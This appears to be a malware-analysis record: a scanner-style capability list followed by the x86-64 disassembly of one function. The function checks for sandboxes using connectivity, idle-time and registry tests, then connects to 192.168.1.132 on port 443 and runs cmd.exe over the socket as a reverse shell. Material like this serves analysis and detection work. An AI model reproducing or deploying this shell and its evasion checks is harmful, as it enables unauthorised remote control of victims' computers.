Function at 0x140001000
Capabilities:
Check for time delay via gettickcount
Check internet connectivity via wininet
Connect socket
Create a process with modified i/o handles and window
Create process on windows
Get installed programs
Initialize winsock library
Receive data
Receive data on socket
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x470]
sub rsp, 0x570
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x460], rax
movups xmm0, xmmword [str.https:__www.google.com]
mov eax, dword [0x140003328]
lea rcx, [rbp + 0x1b0]
movups xmm1, xmmword [0x140003310]
xor r8d, r8d
mov dword [rbp + 0x1d8], eax
movzx eax, word [0x14000332c]
movups xmmword [rbp + 0x1b0], xmm0
mov word [rbp + 0x1dc], ax
movsd xmm0, qword [0x140003320]
lea edx, [r8 + 1]
movsd qword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1c0], xmm1
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
jne 0x140001167
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
test eax, eax
je 0x1400010c9
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbp - 0x1c]
cmp eax, 0xea60
ja 0x140001167
movaps xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall]
lea rax, [rsp + 0x50]
movaps xmm1, xmmword [0x140003340]
lea rdx, [rbp + 0x1f0]
movaps xmmword [rbp + 0x1f0], xmm0
mov r9d, 0x20019
movaps xmm0, xmmword [0x140003350]
xor r8d, r8d
movaps xmmword [rbp + 0x210], xmm0
mov rcx, 0xffffffff80000002
movaps xmm0, xmmword [0x140003370]
movaps xmmword [rbp + 0x200], xmm1
movaps xmm1, xmmword [0x140003360]
movaps xmmword [rbp + 0x230], xmm0
movsd xmm0, qword [0x140003390]
movaps xmmword [rbp + 0x220], xmm1
movaps xmm1, xmmword [0x140003380]
movsd qword [rbp + 0x250], xmm0
movaps xmmword [rbp + 0x240], xmm1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000127c
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [str.cmd.exe]
mov eax, dword [0x1400033b0]
lea rdx, [rbp]
mov dword [rbp + 0x1a8], eax
mov ecx, 0x202
movzx eax, word [0x1400033b4]
movups xmmword [rbp + 0x1e0], xmm0
mov word [rbp + 0x1ac], ax
movsd xmm0, qword [str.192.168.1.132]
movsd qword [rbp + 0x1a0], xmm0
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor esi, esi
movabs r15, 0x7ffffffdabf41bff
mov edi, esi
movabs r14, 0x7fffffffffffffff
movabs r12, 0x7ffffff207b8a7ff
movabs r13, 0x7fffffba269b47ff
mov ecx, 2
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov dword [rsp + 0x20], esi
lea edx, [rcx - 1]
lea r8d, [rcx + 4]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x1bb
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x16], ax
lea rcx, [rbp + 0x1a0]
mov eax, 2
mov word [rbp - 0x18], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
lea rdx, [rbp - 0x18]
mov rcx, rbx
mov dword [rbp - 0x14], eax
mov qword [rsp + 0x20], rsi
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rcx, rbx
cmp eax, 0xffffffff
jne 0x140001405
call qword [sym.imp.WS2_32.dll_closesocket]
inc edi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp edi, 3
jge 0x1400012c5
cmp rbx, 0x989680
jne 0x140001288
imul rax, rax, 0x64
jmp 0x1400012a6
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r15
jge 0x1400013af
movabs rcx, 0x2540be400
add rcx, rax
mov qword [rbp - 0x20], rcx
jmp 0x1400013b3
cmp edi, 6
jge 0x140001316
cmp rbx, 0x989680
jne 0x1400012d9
imul rax, rax, 0x64
jmp 0x1400012f7
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x1400013af
movabs rcx, 0xdf8475800
add rcx, rax
mov qword [rbp - 0x20], rcx
jmp 0x1400013b3
cmp edi, 9
jge 0x140001360
cmp rbx, 0x989680
jne 0x14000132a
imul rax, rax, 0x64
jmp 0x140001348
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r13
jge 0x1400013af
movabs rcx, 0x45d964b800
add rcx, rax
mov qword [rbp - 0x20], rcx
jmp 0x1400013b3
cmp rbx, 0x989680
jne 0x14000136f
imul rax, rax, 0x64
jmp 0x14000138d
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffff2e73d1d7ff
cmp rax, rcx
jge 0x1400013af
movabs rcx, 0xd18c2e2800
add rcx, rax
mov qword [rbp - 0x20], rcx
jmp 0x1400013b3
mov qword [rbp - 0x20], r14
lea rcx, [rbp - 0x20]
call fcn.140001540
cmp edi, 3
jl 0x1400011da
movabs rdi, 0x7ffffe5ce7a3afff
movabs rsi, 0x1a3185c5000
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400014d6
imul rax, rax, 0x64
jmp 0x1400014f4
xor r9d, r9d
lea rdx, [rbp + 0x260]
mov r8d, 0x200
mov edi, esi
call qword [sym.imp.WS2_32.dll_recv]
xorps xmm0, xmm0
mov qword [rbp - 0x30], rbx
movups xmmword [rbp - 0x40], xmm0
lea rax, [rsp + 0x58]
mov qword [rbp - 0x38], rbx
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1e0]
lea rax, [rsp + 0x70]
mov qword [rbp - 0x40], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], esi
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x54], 0x101
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x50], si
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0x260]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
jmp 0x1400011da
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x14000150f
lea rcx, [rax + rsi]
mov qword [rbp - 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.140001540
jmp 0x1400013e0
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x20], r14
call fcn.140001540
jmp 0x1400013e0